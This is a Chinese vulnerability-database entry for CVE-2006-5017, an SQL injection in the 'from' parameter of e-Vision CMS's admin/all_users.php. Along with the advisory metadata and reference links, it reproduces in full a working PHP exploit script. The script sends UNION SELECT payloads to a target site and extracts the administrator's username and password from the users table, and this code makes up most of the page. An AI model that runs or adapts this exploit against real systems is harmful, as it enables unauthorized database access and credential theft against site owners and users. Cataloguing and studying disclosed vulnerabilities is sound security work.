Szava Gyula和Csaba Tamas e-Vision CMS 'admin/all_users.php' SQL注入漏洞

QQ空间 新浪微博 微信 QQ facebook twitter
漏洞ID 1111112 漏洞类型 SQL注入
发布时间 2006-09-22 更新时间 2007-07-06
CVE编号 CVE-2006-5017 CNNVD-ID CNNVD-200609-503
漏洞平台 PHP CVSS评分 7.5
|漏洞来源
https://www.exploit-db.com/exploits/2418
https://www.securityfocus.com/bid/20147
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200609-503
|漏洞详情
SzavaGyula和CsabaTamase-VisionCMS可能是1.0版本的admin/all_users.php中存在SQL注入漏洞,远程攻击者可以通过from参数执行任意SQL命令。
|漏洞EXP
#!/usr/bin/php -q -d short_open_tag=on
<?
/*
/* e-Vision CMS Remote sql injection exploit
/*            By : HACKERS PAL
/*             WwW.SoQoR.NeT
*/
print_r('
/**********************************************/
/* e-Vision CMS Remote sql injection exploit  */
/*    by HACKERS PAL <security@soqor.net>     */
/*        site: http://www.soqor.net          */');
if ($argc<2) {
	print_r('
/* --                                         */
/* Usage: php '.$argv[0].' host
/* Example:                                   */
/*    php '.$argv[0].' http://localhost/evision
/**********************************************/
');
	die;
}
error_reporting(0);
ini_set("max_execution_time",0);
ini_set("default_socket_timeout",5);

$url=$argv[1];
$exploit="/admin/all_users.php?from=-1%20union%20select%20null,null,null,username,null%20from%20users%20where%20idusers=1/*";
$exploit2="/admin/all_users.php?from=-1%20union%20select%20null,null,null,pass,null%20from%20users%20where%20idusers=1/*";

Function get_page($url)
{

	if(function_exists("file_get_contents"))
	{

		$contents = file_get_contents($url);

	}
	else
	{
		$fp=fopen("$url","r");
		while($line=fread($fp,1024))
		{
			$contents=$contents.$line;
		}


	}
	return $contents;
}

function get($var)
{
	if(strlen($var[1])>0)
	{
		Echo trim($var[1]);
	}
}

$page = get_page($url.$exploit);
$page2 = get_page($url.$exploit2);

if(preg_match('/\<td bgcolor=\"#C2D4E8\">(.+?)<\/td\>/is',$page))
{
	Echo "\n[+] User Name : ";
	preg_replace_callback('/\<td bgcolor=\"#C2D4E8\">(.+?)<\/td\>/is','get',$page);
	Echo "\n[+] Pass Word : ";
	preg_replace_callback('/\<td bgcolor=\"#C2D4E8\">(.+?)<\/td\>/is','get',$page2);
	Die("\n/* Visit us : WwW.SoQoR.NeT                   */\n/**********************************************/");
}

Die("\n[-] Exploit Failed\n/* Visit us : WwW.SoQoR.NeT                   */\n/**********************************************/");
?>

# milw0rm.com [2006-09-22]
|受影响的产品
Evision Evision CMS 1.0
|参考资料

来源:BID
名称:20147
链接:http://www.securityfocus.com/bid/20147
来源:BUGTRAQ
名称:20060922E-VisionCMSMultibleRemoteinjections
链接:http://www.securityfocus.com/archive/1/archive/1/446706/100/0/threaded
来源:XF
名称:evisioncms-allusers-sql-injection(29123)
链接:http://xforce.iss.net/xforce/xfdb/29123
来源:VUPEN
名称:ADV-2006-3764
链接:http://www.frsirt.com/english/advisories/2006/3764
来源:SREASON
名称:1642
链接:http://securityreason.com/securityalert/1642
来源:SECUNIA
名称:21969
链接:http://secunia.com/advisories/21969